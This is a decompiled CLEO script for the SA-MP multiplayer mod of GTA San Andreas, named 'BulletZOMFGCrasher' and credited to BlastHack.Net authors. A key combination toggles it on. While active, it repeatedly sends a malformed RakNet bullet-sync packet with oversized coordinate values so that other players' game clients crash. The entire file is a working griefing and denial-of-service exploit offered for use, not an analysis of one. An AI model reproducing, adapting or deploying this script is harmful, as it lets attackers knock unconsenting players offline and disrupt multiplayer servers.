// This file was decompiled using sascm.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$VERSION 3.1.1000}
{$CLEO .cs}
//-------------MAIN---------------
thread "BulletZOMFGCrasher"
0662: printstring "Made by FYP and urShadow"
0662: printstring "BlastHack.Net"
0@ = 0
4@ = 0
:BulletZOMFGCrasher_81
not SAMP.Available
else_jump @BulletZOMFGCrasher_102
wait 1337
jump @BulletZOMFGCrasher_81
:BulletZOMFGCrasher_102
0AC8: 1@ = allocate_memory_size 39
:BulletZOMFGCrasher_109
wait 0
if
Player.Defined(0)
else_jump @BulletZOMFGCrasher_451
if and
0AB0: key_pressed 66
0AB0: key_pressed 67
else_jump @BulletZOMFGCrasher_374
0B12: 0@ = 0@ XOR 1
if
0@ == 1
else_jump @BulletZOMFGCrasher_262
0ACD: show_text_highpriority "~w~ZOMFG Bullet Crasher ~g~activated!~n~~w~urShadow~n~FYP~n~BlastHack.Net" time 1337
jump @BulletZOMFGCrasher_344
:BulletZOMFGCrasher_262
0ACD: show_text_highpriority "~w~ZOMFG Bullet Crasher ~r~deactivated!~n~~w~urShadow~n~FYP~n~BlastHack.Net" time 1337
:BulletZOMFGCrasher_344
wait 100
if and
0AB0: key_pressed 66
0AB0: key_pressed 67
else_jump @BulletZOMFGCrasher_374
jump @BulletZOMFGCrasher_344
:BulletZOMFGCrasher_374
if
0@ == 1
else_jump @BulletZOMFGCrasher_451
0A8D: 5@ = read_memory 12045188 size 4 virtual_protect 0
0A8F: 6@ = 5@ - 4@ // int
if
6@ > 1000
else_jump @BulletZOMFGCrasher_451
gosub @BulletZOMFGCrasher_458
0085: 4@ = 5@ // (int)
:BulletZOMFGCrasher_451
jump @BulletZOMFGCrasher_109
:BulletZOMFGCrasher_458
0C11: memset destination 1@ value 0 size 39
0C0D: struct 1@ offset 0 size 1 = 1
2@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
0C0D: struct 1@ offset 1 size 2 = 2@
0C0D: struct 1@ offset 27 size 4 = 2.004318E09
0C0D: struct 1@ offset 31 size 4 = 2.004318E09
0C0D: struct 1@ offset 35 size 4 = 2.004318E09
0AB1: call_scm_func @BulletZOMFGCrasher_555 1 1@
return
:BulletZOMFGCrasher_555
1@ = RakNet.NewBitStream()
RakNet.Write(1@, 224, BS_TYPE_BYTE, 0)
RakNet.Write(1@, 0@, BS_TYPE_ARRAY, 39)
RakNet.Send(1@, 1, 7, 0)
0AB2: ret 0